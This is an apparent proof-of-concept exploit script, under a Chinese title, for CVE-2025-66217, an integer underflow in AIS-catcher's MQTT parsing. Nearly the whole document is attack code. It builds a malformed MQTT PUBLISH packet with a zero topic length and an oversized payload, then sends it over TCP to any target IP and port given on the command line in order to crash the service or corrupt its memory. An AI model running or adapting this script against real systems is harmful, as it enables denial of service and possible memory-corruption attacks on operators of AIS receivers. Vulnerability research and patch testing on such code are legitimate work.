CVE-2025-66217 AIS-catcher MQTT解析整数下溢漏洞

#!/usr/bin/env python3 """ CVE-2025-66217 PoC - AIS-catcher MQTT Integer Underflow This PoC demonstrates the integer underflow vulnerability in AIS-catcher's MQTT parsing logic. """ import socket import struct import sys def create_malformed_mqtt_packet(): """ Create a malformed MQTT packet with manipulated Topic Length field to trigger integer underflow in AIS-catcher. """ # MQTT Fixed Header packet_type = 0x02 # MQTT PUBLISH packet flags = 0x00 remaining_length = 0 # Will be calculated # Variable Header - Topic Name # Manipulated Topic Length field (set to 0 to trigger underflow) topic_length = 0x0000 # Integer underflow trigger topic_name = b"test/topic" # Packet Identifier (optional for QoS 0) packet_id = b"" # Payload - Malformed data payload = b"A" * 1000 # Large payload to cause buffer overflow # Construct variable header variable_header = struct.pack("!H", topic_length) + topic_name + packet_id # Calculate remaining length remaining_length = len(variable_header) + len(payload) # Construct fixed header fixed_header = bytes([(packet_type << 4) | flags]) # Encode remaining length (MQTT variable length encoding) remaining_length_bytes = bytearray() temp = remaining_length while True: digit = temp % 128 temp //= 128 if temp > 0: digit |= 0x80 remaining_length_bytes.append(digit) if temp == 0: break # Full packet packet = fixed_header + bytes(remaining_length_bytes) + variable_header + payload return packet def exploit(target_ip, target_port=10110): """ Send malformed MQTT packet to target AIS-catcher server. """ try: print(f"[*] Creating malformed MQTT packet...") packet = create_malformed_mqtt_packet() print(f"[*] Packet size: {len(packet)} bytes") print(f"[*] Connecting to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) print(f"[*] Sending malicious packet...") sock.send(packet) print(f"[+] Packet sent successfully") print(f"[!] Target may have crashed or experienced memory corruption") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 10110 exploit(target, port)